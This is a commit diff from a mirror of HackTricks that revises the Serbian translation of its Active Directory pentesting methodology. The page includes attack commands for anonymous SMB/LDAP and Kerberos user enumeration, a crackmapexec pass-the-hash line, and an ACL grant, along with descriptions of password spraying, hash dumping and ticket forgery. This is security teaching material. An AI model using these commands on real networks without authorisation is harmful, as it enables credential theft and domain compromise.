mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/README.m
This commit is contained in:
parent
47723c348b
commit
d972aceff2
@ -268,6 +268,7 @@
|
||||
- [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md)
|
||||
- [External Forest Domain - OneWay (Inbound) or bidirectional](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md)
|
||||
- [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md)
|
||||
- [Golden Dmsa Gmsa](windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md)
|
||||
- [Golden Ticket](windows-hardening/active-directory-methodology/golden-ticket.md)
|
||||
- [Kerberoast](windows-hardening/active-directory-methodology/kerberoast.md)
|
||||
- [Kerberos Authentication](windows-hardening/active-directory-methodology/kerberos-authentication.md)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Osnovni pregled
|
||||
|
||||
**Active Directory** služi kao osnovna tehnologija, omogućavajući **mrežnim administratorima** da efikasno kreiraju i upravljaju **domenima**, **korisnicima** i **objektima** unutar mreže. Dizajnirana je da se skalira, olakšavajući organizaciju velikog broja korisnika u upravljive **grupe** i **podgrupe**, dok kontroliše **prava pristupa** na različitim nivoima.
|
||||
**Active Directory** služi kao osnovna tehnologija, omogućavajući **mrežnim administratorima** da efikasno kreiraju i upravljaju **domenima**, **korisnicima** i **objektima** unutar mreže. Dizajniran je da se skalira, olakšavajući organizaciju velikog broja korisnika u upravljive **grupe** i **podgrupe**, dok kontroliše **prava pristupa** na različitim nivoima.
|
||||
|
||||
Struktura **Active Directory** se sastoji od tri osnovna sloja: **domeni**, **drveća** i **šuma**. **Domen** obuhvata kolekciju objekata, kao što su **korisnici** ili **uređaji**, koji dele zajedničku bazu podataka. **Drveća** su grupe ovih domena povezane zajedničkom strukturom, a **šuma** predstavlja kolekciju više drveća, međusobno povezanih kroz **odnos poverenja**, formirajući najviši sloj organizacione strukture. Specifična **prava pristupa** i **komunikacije** mogu se dodeliti na svakom od ovih nivoa.
|
||||
|
||||
@ -14,7 +14,7 @@ Ključni koncepti unutar **Active Directory** uključuju:
|
||||
2. **Objekat** – Označava entitete unutar direktorijuma, uključujući **korisnike**, **grupe** ili **deljene foldere**.
|
||||
3. **Domen** – Služi kao kontejner za objekte direktorijuma, sa mogućnošću da više domena koegzistira unutar jedne **šume**, pri čemu svaki održava svoju kolekciju objekata.
|
||||
4. **Drvo** – Grupa domena koja deli zajednički korenski domen.
|
||||
5. **Šuma** – Vrh organizacione strukture u Active Directory, sastavljena od više drveća sa **odnosima poverenja** među njima.
|
||||
5. **Šuma** – Vrhunska organizaciona struktura u Active Directory, sastavljena od nekoliko drveća sa **odnosima poverenja** među njima.
|
||||
|
||||
**Active Directory Domain Services (AD DS)** obuhvata niz usluga koje su ključne za centralizovano upravljanje i komunikaciju unutar mreže. Ove usluge uključuju:
|
||||
|
||||
@ -22,7 +22,7 @@ Ključni koncepti unutar **Active Directory** uključuju:
|
||||
2. **Usluge sertifikata** – Nadgleda kreiranje, distribuciju i upravljanje sigurnim **digitalnim sertifikatima**.
|
||||
3. **Lagana direktorijumska usluga** – Podržava aplikacije omogućene direktorijumom putem **LDAP protokola**.
|
||||
4. **Usluge federacije direktorijuma** – Pruža mogućnosti **jednostavnog prijavljivanja** za autentifikaciju korisnika preko više web aplikacija u jednoj sesiji.
|
||||
5. **Upravljanje pravima** – Pomaže u zaštiti autorskog materijala regulisanjem njegove neovlašćene distribucije i korišćenja.
|
||||
5. **Upravljanje pravima** – Pomaže u zaštiti autorskih materijala regulisanjem njihove neovlašćene distribucije i korišćenja.
|
||||
6. **DNS usluga** – Ključna za rešavanje **domen imena**.
|
||||
|
||||
Za detaljnije objašnjenje pogledajte: [**TechTerms - Definicija Active Directory**](https://techterms.com/definition/active_directory)
|
||||
@ -44,7 +44,7 @@ Možete posetiti [https://wadcoms.github.io/](https://wadcoms.github.io) da bist
|
||||
Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete:
|
||||
|
||||
- **Pentestovati mrežu:**
|
||||
- Skenirati mrežu, pronaći mašine i otvorene portove i pokušati da **eksploatišete ranjivosti** ili **izvučete kredencijale** iz njih (na primer, [štampači bi mogli biti veoma zanimljivi ciljevi](ad-information-in-printers.md)).
|
||||
- Skenirajte mrežu, pronađite mašine i otvorene portove i pokušajte da **eksploatišete ranjivosti** ili **izvučete kredencijale** iz njih (na primer, [štampači bi mogli biti veoma zanimljivi ciljevi](ad-information-in-printers.md)).
|
||||
- Enumeracija DNS-a može dati informacije o ključnim serverima u domenu kao što su web, štampači, deljenja, vpn, mediji, itd.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Pogledajte opštu [**Pentesting Metodologiju**](../../generic-methodologies-and-resources/pentesting-methodology.md) da biste pronašli više informacija o tome kako to uraditi.
|
||||
@ -52,7 +52,7 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
|
||||
- Detaljniji vodič o tome kako da enumerišete SMB server može se pronaći ovde:
|
||||
- Detaljniji vodič o tome kako da enumerišete SMB server može se naći ovde:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-smb/
|
||||
@ -60,7 +60,7 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
|
||||
|
||||
- **Enumeracija Ldap**
|
||||
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
|
||||
- Detaljniji vodič o tome kako da enumerišete LDAP može se pronaći ovde (obratite **posebnu pažnju na anonimni pristup**):
|
||||
- Detaljniji vodič o tome kako da enumerišete LDAP može se naći ovde (obratite **posebnu pažnju na anonimni pristup**):
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-ldap.md
|
||||
@ -72,7 +72,7 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
|
||||
- Prikupite kredencijale **izlažući** [**lažne UPnP usluge sa evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
|
||||
- Izvucite korisnička imena/ime iz internih dokumenata, društvenih mreža, usluga (pretežno web) unutar domena i takođe iz javno dostupnih izvora.
|
||||
- Ako pronađete puna imena radnika kompanije, možete pokušati različite AD **konvencije korisničkih imena** (**[pročitajte ovo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImP_ (3 slova od svakog), _Im.Pre_, _PPrezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.N_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
|
||||
- Ako pronađete puna imena radnika kompanije, možete pokušati različite AD **konvencije korisničkih imena** (**[pročitajte ovo](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImePrz_ (3 slova od svakog), _Im.Prez_, _IPrezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.I_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
|
||||
- Alati:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -81,7 +81,7 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
|
||||
|
||||
- **Anonimna SMB/LDAP enumeracija:** Proverite [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) stranice.
|
||||
- **Kerbrute enumeracija**: Kada se zatraži **nevažeće korisničko ime**, server će odgovoriti koristeći **Kerberos grešku** kod _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, omogućavajući nam da utvrdimo da je korisničko ime nevažeće. **Važeća korisnička imena** će izazvati ili **TGT u AS-REP** odgovoru ili grešku _KRB5KDC_ERR_PREAUTH_REQUIRED_, što ukazuje da je korisnik obavezan da izvrši pre-autentifikaciju.
|
||||
- **Bez autentifikacije protiv MS-NRPC**: Korišćenje auth-level = 1 (Bez autentifikacije) protiv MS-NRPC (Netlogon) interfejsa na kontrolerima domena. Metoda poziva funkciju `DsrGetDcNameEx2` nakon povezivanja MS-NRPC interfejsa da proveri da li korisnik ili računar postoji bez ikakvih kredencijala. Alat [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementira ovu vrstu enumeracije. Istraživanje se može pronaći [ovde](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
- **Bez autentifikacije protiv MS-NRPC**: Korišćenje auth-level = 1 (Bez autentifikacije) protiv MS-NRPC (Netlogon) interfejsa na kontrolerima domena. Metoda poziva funkciju `DsrGetDcNameEx2` nakon povezivanja MS-NRPC interfejsa da proveri da li korisnik ili računar postoji bez ikakvih kredencijala. Alat [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementira ovu vrstu enumeracije. Istraživanje se može naći [ovde](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -114,11 +114,11 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
|
||||
|
||||
### Poznavanje jednog ili više korisničkih imena
|
||||
|
||||
U redu, znate da već imate validno korisničko ime, ali nemate lozinke... Pokušajte:
|
||||
U redu, znate da već imate validno korisničko ime, ali nemate lozinke... Onda pokušajte:
|
||||
|
||||
- [**ASREPRoast**](asreproast.md): Ako korisnik **nema** atribut _DONT_REQ_PREAUTH_, možete **zatražiti AS_REP poruku** za tog korisnika koja će sadržati neke podatke šifrovane derivacijom lozinke korisnika.
|
||||
- [**ASREPRoast**](asreproast.md): Ako korisnik **nema** atribut _DONT_REQ_PREAUTH_, možete **zatražiti AS_REP poruku** za tog korisnika koja će sadržati neke podatke enkriptovane derivacijom lozinke korisnika.
|
||||
- [**Password Spraying**](password-spraying.md): Pokušajmo sa najviše **uobičajenim lozinkama** za svakog od otkrivenih korisnika, možda neki korisnik koristi lošu lozinku (imajte na umu politiku lozinki!).
|
||||
- Imajte na umu da možete takođe **spray OWA servere** da pokušate da dobijete pristup korisničkim mail serverima.
|
||||
- Imajte na umu da možete i **spray OWA servere** da pokušate da dobijete pristup korisničkim mail serverima.
|
||||
|
||||
{{#ref}}
|
||||
password-spraying.md
|
||||
@ -148,7 +148,7 @@ Ako možete **pristupiti drugim računarima ili deljenjima** sa **null ili gost
|
||||
|
||||
Za ovu fazu morate imati **kompromitovane kredencijale ili sesiju validnog domen korisnika.** Ako imate neke validne kredencijale ili shell kao domen korisnik, **trebalo bi da zapamtite da su opcije date ranije još uvek opcije za kompromitovanje drugih korisnika**.
|
||||
|
||||
Pre nego što započnete autentifikovanu enumeraciju, trebali biste znati šta je **Kerberos double hop problem.**
|
||||
Pre nego što započnete autentifikovanu enumeraciju, trebali biste znati šta je **problem dvostrukog skoka Kerberosa.**
|
||||
|
||||
{{#ref}}
|
||||
kerberos-double-hop-problem.md
|
||||
@ -172,7 +172,7 @@ Imati kompromitovan račun je **veliki korak ka kompromitovanju celog domena**,
|
||||
- Takođe možete probati automatske alate kao:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Ekstrakcija svih korisnika domena**
|
||||
- **Izvlačenje svih korisnika domena**
|
||||
|
||||
Veoma je lako dobiti sva korisnička imena domena iz Windows-a (`net user /domain`, `Get-DomainUser` ili `wmic useraccount get name,sid`). U Linux-u, možete koristiti: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ili `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
@ -190,11 +190,11 @@ kerberoast.md
|
||||
|
||||
### Daljinska konekcija (RDP, SSH, FTP, Win-RM, itd.)
|
||||
|
||||
Kada dobijete neke kredencijale, možete proveriti da li imate pristup bilo kojoj **mašini**. U tom smislu, možete koristiti **CrackMapExec** da pokušate povezivanje na nekoliko servera sa različitim protokolima, u skladu sa vašim skeniranjem portova.
|
||||
Kada dobijete neke kredencijale, možete proveriti da li imate pristup bilo kojoj **mašini**. U tom smislu, mogli biste koristiti **CrackMapExec** da pokušate povezivanje na nekoliko servera sa različitim protokolima, u skladu sa vašim skeniranjem portova.
|
||||
|
||||
### Lokalno Eskaliranje Privilegija
|
||||
|
||||
Ako imate kompromitovane kredencijale ili sesiju kao običan domen korisnik i imate **pristup** sa ovim korisnikom **bilo kojoj mašini u domenu**, trebali biste pokušati da pronađete način da **eskalirate privilegije lokalno i tražite kredencijale**. To je zato što samo sa lokalnim administratorskim privilegijama možete **dumpovati hash-eve drugih korisnika** u memoriji (LSASS) i lokalno (SAM).
|
||||
Ako imate kompromitovane kredencijale ili sesiju kao običan domen korisnik i imate **pristup** sa ovim korisnikom do **bilo koje mašine u domenu**, trebali biste pokušati da pronađete način da **eskalirate privilegije lokalno i tražite kredencijale**. To je zato što samo sa lokalnim administratorskim privilegijama možete **dumpovati hash-eve drugih korisnika** u memoriji (LSASS) i lokalno (SAM).
|
||||
|
||||
Postoji cela stranica u ovoj knjizi o [**lokalnom eskaliranju privilegija u Windows-u**](../windows-local-privilege-escalation/index.html) i [**checklist**](../checklist-windows-privilege-escalation.md). Takođe, ne zaboravite da koristite [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
@ -214,9 +214,9 @@ Ako ste uspeli da enumerišete aktivni direktorijum, imaćete **više emailova i
|
||||
|
||||
### Looks for Creds in Computer Shares | SMB Shares
|
||||
|
||||
Sada kada imate neke osnovne kredencijale, trebali biste proveriti da li možete **pronaći** bilo koje **zanimljive datoteke koje se dele unutar AD**. To možete uraditi ručno, ali je to veoma dosadan ponavljajući zadatak (a još više ako pronađete stotine dokumenata koje treba da proverite).
|
||||
Sada kada imate neke osnovne kredencijale, trebali biste proveriti da li možete **pronaći** bilo koje **zanimljive datoteke koje se dele unutar AD**. To možete uraditi ručno, ali je to veoma dosadan i ponavljajući zadatak (a još više ako pronađete stotine dokumenata koje treba da proverite).
|
||||
|
||||
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
[**Pratite ovaj link da biste saznali više o alatima koje možete koristiti.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
|
||||
|
||||
### Steal NTLM Creds
|
||||
|
||||
@ -242,13 +242,13 @@ printnightmare.md
|
||||
|
||||
Nadamo se da ste uspeli da **kompromitujete neki lokalni admin** nalog koristeći [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) uključujući relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
|
||||
Zatim, vreme je da izvučete sve hash-ove iz memorije i lokalno.\
|
||||
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
[**Pročitajte ovu stranicu o različitim načinima dobijanja hash-ova.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Kada imate hash korisnika**, možete ga koristiti da **imituje**.\
|
||||
Trebalo bi da koristite neki **alat** koji će **izvršiti** **NTLM autentifikaciju koristeći** taj **hash**, **ili** možete kreirati novu **sessionlogon** i **ubaciti** taj **hash** unutar **LSASS**, tako da kada se izvrši bilo koja **NTLM autentifikacija**, taj **hash će biti korišćen.** Poslednja opcija je ono što radi mimikatz.\
|
||||
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
|
||||
[**Pročitajte ovu stranicu za više informacija.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
|
||||
@ -279,9 +279,9 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
|
||||
### MSSQL Abuse & Trusted Links
|
||||
|
||||
Ako korisnik ima privilegije da **pristupi MSSQL instancama**, mogao bi da ih koristi za **izvršavanje komandi** na MSSQL hostu (ako radi kao SA), da **ukrade** NetNTLM **hash** ili čak da izvrši **relay** **napad**.\
|
||||
Takođe, ako je MSSQL instanca poverljiva (link baze podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad poverljivom bazom podataka, moći će da **iskoristi poverljivu vezu za izvršavanje upita i na drugoj instanci**. Ove poverljive veze mogu se povezivati i u nekom trenutku korisnik bi mogao da pronađe pogrešno konfigurisanu bazu podataka gde može izvršavati komande.\
|
||||
**Veze između baza podataka funkcionišu čak i preko šuma poverenja.**
|
||||
Ako korisnik ima privilegije da **pristupi MSSQL instancama**, mogao bi da ga koristi za **izvršavanje komandi** na MSSQL hostu (ako se pokreće kao SA), da **ukrade** NetNTLM **hash** ili čak da izvrši **relay** **napad**.\
|
||||
Takođe, ako je MSSQL instanca poverljiva (veza baze podataka) od strane druge MSSQL instance. Ako korisnik ima privilegije nad poverljivom bazom podataka, moći će da **iskoristi odnos poverenja za izvršavanje upita i u drugoj instanci**. Ove veze se mogu povezivati i u nekom trenutku korisnik bi mogao da pronađe pogrešno konfigurisanu bazu podataka gde može izvršavati komande.\
|
||||
**Veze između baza podataka funkcionišu čak i preko šumskih poverenja.**
|
||||
|
||||
{{#ref}}
|
||||
abusing-ad-mssql.md
|
||||
@ -289,7 +289,7 @@ abusing-ad-mssql.md
|
||||
|
||||
### Unconstrained Delegation
|
||||
|
||||
Ako pronađete bilo koji objekat računara sa atributom [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i imate privilegije domena na računaru, moći ćete da izvučete TGT-ove iz memorije svih korisnika koji se prijavljuju na računar.\
|
||||
Ako pronađete bilo koji objekat računara sa atributom [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) i imate privilegije domena na računaru, moći ćete da izvučete TGT-ove iz memorije svih korisnika koji se prijave na računar.\
|
||||
Dakle, ako se **Domain Admin prijavi na računar**, moći ćete da izvučete njegov TGT i da se pretvarate da je on koristeći [Pass the Ticket](pass-the-ticket.md).\
|
||||
Zahvaljujući ograničenoj delegaciji, mogli biste čak i **automatski da kompromitujete Print Server** (nadamo se da će to biti DC).
|
||||
|
||||
@ -324,7 +324,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Printer Spooler service abuse
|
||||
|
||||
Otkrivanje **Spool servisa koji sluša** unutar domena može se **iskoristiti** za **sticanje novih kredencijala** i **povećanje privilegija**.
|
||||
Otkriće **Spool servisa koji sluša** unutar domena može se **iskoristiti** za **sticanje novih kredencijala** i **povećanje privilegija**.
|
||||
|
||||
{{#ref}}
|
||||
printers-spooler-service-abuse.md
|
||||
@ -333,7 +333,7 @@ printers-spooler-service-abuse.md
|
||||
### Third party sessions abuse
|
||||
|
||||
Ako **drugi korisnici** **pristupaju** **kompromitovanoj** mašini, moguće je **prikupiti kredencijale iz memorije** i čak **ubaciti beacon-e u njihove procese** da bi se pretvarali da su oni.\
|
||||
Obično korisnici pristupaju sistemu putem RDP-a, tako da ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
|
||||
Obično korisnici pristupaju sistemu putem RDP-a, pa ovde imate kako da izvršite nekoliko napada na RDP sesije trećih strana:
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -341,7 +341,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** pruža sistem za upravljanje **lokalnom lozinkom administratora** na računarima pridruženim domenu, osiguravajući da je **randomizovana**, jedinstvena i često **menjana**. Ove lozinke se čuvaju u Active Directory-u, a pristup se kontroliše putem ACL-a samo za ovlašćene korisnike. Sa dovoljnim privilegijama za pristup ovim lozinkama, prelazak na druge računare postaje moguć.
|
||||
**LAPS** pruža sistem za upravljanje **lokalnom lozinkom administratora** na računarima pridruženim domenu, osiguravajući da je **nasumična**, jedinstvena i često **menjana**. Ove lozinke se čuvaju u Active Directory-u, a pristup se kontroliše putem ACL-a samo za ovlašćene korisnike. Sa dovoljnim privilegijama za pristup ovim lozinkama, prelazak na druge računare postaje moguć.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -398,7 +398,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
|
||||
|
||||
### Silver Ticket
|
||||
|
||||
**Silver Ticket napad** kreira **legitimnu Ticket Granting Service (TGS) kartu** za određenu uslugu koristeći **NTLM hash** (na primer, **hash PC naloga**). Ova metoda se koristi za **pristup privilegijama usluge**.
|
||||
**Silver Ticket napad** kreira **legitimnu Ticket Granting Service (TGS) kartu** za određenu uslugu koristeći **NTLM hash** (na primer, **hash PC naloga**). Ova metoda se koristi za **pristup uslužnim privilegijama**.
|
||||
|
||||
{{#ref}}
|
||||
silver-ticket.md
|
||||
@ -406,9 +406,9 @@ silver-ticket.md
|
||||
|
||||
### Golden Ticket
|
||||
|
||||
**Golden Ticket napad** uključuje napadača koji dobija pristup **NTLM hash-u krbtgt naloga** u Active Directory (AD) okruženju. Ovaj nalog je poseban jer se koristi za potpisivanje svih **Ticket Granting Tickets (TGTs)**, koji su neophodni za autentifikaciju unutar AD mreže.
|
||||
**Golden Ticket napad** uključuje napadača koji dobija pristup **NTLM hash-u krbtgt naloga** u Active Directory (AD) okruženju. Ovaj nalog je poseban jer se koristi za potpisivanje svih **Ticket Granting Tickets (TGTs)**, koji su ključni za autentifikaciju unutar AD mreže.
|
||||
|
||||
Kada napadač dobije ovaj hash, može kreirati **TGT-ove** za bilo koji nalog koji izabere (Silver ticket napad).
|
||||
Kada napadač dobije ovaj hash, može kreirati **TGTs** za bilo koji nalog koji izabere (Silver ticket napad).
|
||||
|
||||
{{#ref}}
|
||||
golden-ticket.md
|
||||
@ -416,7 +416,7 @@ golden-ticket.md
|
||||
|
||||
### Diamond Ticket
|
||||
|
||||
Ovi su poput zlatnih karata, ali su krivotvoreni na način koji **zaobilazi uobičajene mehanizme za otkrivanje zlatnih karata.**
|
||||
Ovi su poput zlatnih karata, ali su falsifikovani na način koji **zaobilazi uobičajene mehanizme za otkrivanje zlatnih karata.**
|
||||
|
||||
{{#ref}}
|
||||
diamond-ticket.md
|
||||
@ -446,7 +446,7 @@ ad-certificates/domain-persistence.md
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvoj mašini, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, neophodna je izmena registra da bi se **omogućila upotreba ove lozinke**, omogućavajući daljinski pristup lokalnom administratorskom nalogu.
|
||||
Unutar svakog **Domain Controller (DC)**, postoji **lokalni administratorski** nalog. Dobijanjem administratorskih prava na takvoj mašini, lokalni Administrator hash može se izvući koristeći **mimikatz**. Nakon toga, neophodna je izmena registra da bi se **omogućila upotreba ove lozinke**, što omogućava daljinski pristup lokalnom administratorskom nalogu.
|
||||
|
||||
{{#ref}}
|
||||
dsrm-credentials.md
|
||||
@ -462,7 +462,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Security Descriptors
|
||||
|
||||
**Sigurnosni deskriptori** se koriste za **čuvanje** **privilegija** koje **objekat** ima **nad** **objektom**. Ako možete samo **napraviti** **malo promene** u **sigurnosnom deskriptoru** objekta, možete dobiti veoma zanimljive privilegije nad tim objektom bez potrebe da budete član privilegovane grupe.
|
||||
**Bezbednosni opisi** se koriste za **čuvanje** **privilegija** koje **objekat** ima **nad** **objektom**. Ako možete samo **napraviti** **malo promene** u **bezbednosnom opisu** objekta, možete dobiti veoma zanimljive privilegije nad tim objektom bez potrebe da budete član privilegovane grupe.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -509,9 +509,9 @@ Microsoft gleda na **Forest** kao na bezbednosnu granicu. To implicira da **komp
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**domen poverenje**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. Suštinski, stvara vezu između sistema autentifikacije dva domena, omogućavajući verifikaciju autentifikacije da teče neometano. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
|
||||
[**domen poverenje**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) je bezbednosni mehanizam koji omogućava korisniku iz jednog **domena** da pristupi resursima u drugom **domenu**. Suštinski, stvara vezu između autentifikacionih sistema dva domena, omogućavajući verifikaciju autentifikacije da teče neometano. Kada domeni postave poverenje, razmenjuju i zadržavaju specifične **ključeve** unutar svojih **Domain Controllers (DCs)**, koji su ključni za integritet poverenja.
|
||||
|
||||
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom domenu**, prvo mora da zatraži posebnu kartu poznatu kao **inter-realm TGT** od svog domena DC. Ova TGT je enkriptovana sa zajedničkim **ključem** koji su oba domena dogovorila. Korisnik zatim predstavlja ovu TGT **DC-u poverljivog domena** da bi dobio kartu za uslugu (**TGS**). Nakon uspešne validacije inter-realm TGT od strane DC-a poverljivog domena, izdaje TGS, dajući korisniku pristup usluzi.
|
||||
U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom domenu**, prvo mora da zatraži posebnu kartu poznatu kao **inter-realm TGT** od svog domena DC. Ova TGT je enkriptovana sa zajedničkim **ključem** na kojem su se oba domena dogovorila. Korisnik zatim predstavlja ovu TGT **DC-u poverljivog domena** da bi dobio uslužnu kartu (**TGS**). Nakon uspešne validacije inter-realm TGT od strane DC-a poverljivog domena, izdaje TGS, dajući korisniku pristup usluzi.
|
||||
|
||||
**Koraci**:
|
||||
|
||||
@ -521,32 +521,32 @@ U tipičnom scenariju, ako korisnik želi da pristupi usluzi u **poverljivom dom
|
||||
4. Inter-realm TGT je enkriptovan sa **trust key** koji je podeljen između DC1 i DC2 kao deo dvosmernog poverenja domena.
|
||||
5. Klijent uzima inter-realm TGT do **Domain 2's Domain Controller (DC2)**.
|
||||
6. DC2 verifikuje inter-realm TGT koristeći svoj zajednički trust key i, ako je važeći, izdaje **Ticket Granting Service (TGS)** za server u Domenu 2 kojem klijent želi da pristupi.
|
||||
7. Na kraju, klijent predstavlja ovaj TGS serveru, koji je enkriptovan sa hash-om serverovog naloga, da bi dobio pristup usluzi u Domenu 2.
|
||||
7. Na kraju, klijent predstavlja ovaj TGS serveru, koji je enkriptovan sa hash-om naloga servera, da bi dobio pristup usluzi u Domenu 2.
|
||||
|
||||
### Different trusts
|
||||
|
||||
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** poverenju jedan od domena će biti **poverljiv**, a drugi **pouzdani** domen. U poslednjem slučaju, **moći ćete da pristupite resursima unutar pouzdanog domena samo iz poverljivog**.
|
||||
Važno je primetiti da **poverenje može biti jednostrano ili dvostrano**. U dvostranoj opciji, oba domena će se međusobno poveravati, ali u **jednostranom** poverenju jedan od domena će biti **poverljiv** a drugi **pouzdani** domen. U poslednjem slučaju, **moći ćete da pristupite resursima unutar pouzdanog domena samo iz poverljivog**.
|
||||
|
||||
Ako Domen A poverava Domenu B, A je pouzdani domen, a B je poverljivi. Štaviše, u **Domenu A**, ovo bi bilo **Outbound trust**; a u **Domenu B**, ovo bi bilo **Inbound trust**.
|
||||
Ako Domen A poverava Domenu B, A je pouzdani domen a B je poverljiv. Štaviše, u **Domenu A**, ovo bi bilo **Outbound trust**; a u **Domenu B**, ovo bi bilo **Inbound trust**.
|
||||
|
||||
**Različite poverljive veze**
|
||||
**Različiti odnosi poverenja**
|
||||
|
||||
- **Parent-Child Trusts**: Ovo je uobičajena postavka unutar iste šume, gde dete domen automatski ima dvosmerno tranzitivno poverenje sa svojim roditeljskim domenom. Suštinski, to znači da zahtevi za autentifikaciju mogu teći neometano između roditelja i deteta.
|
||||
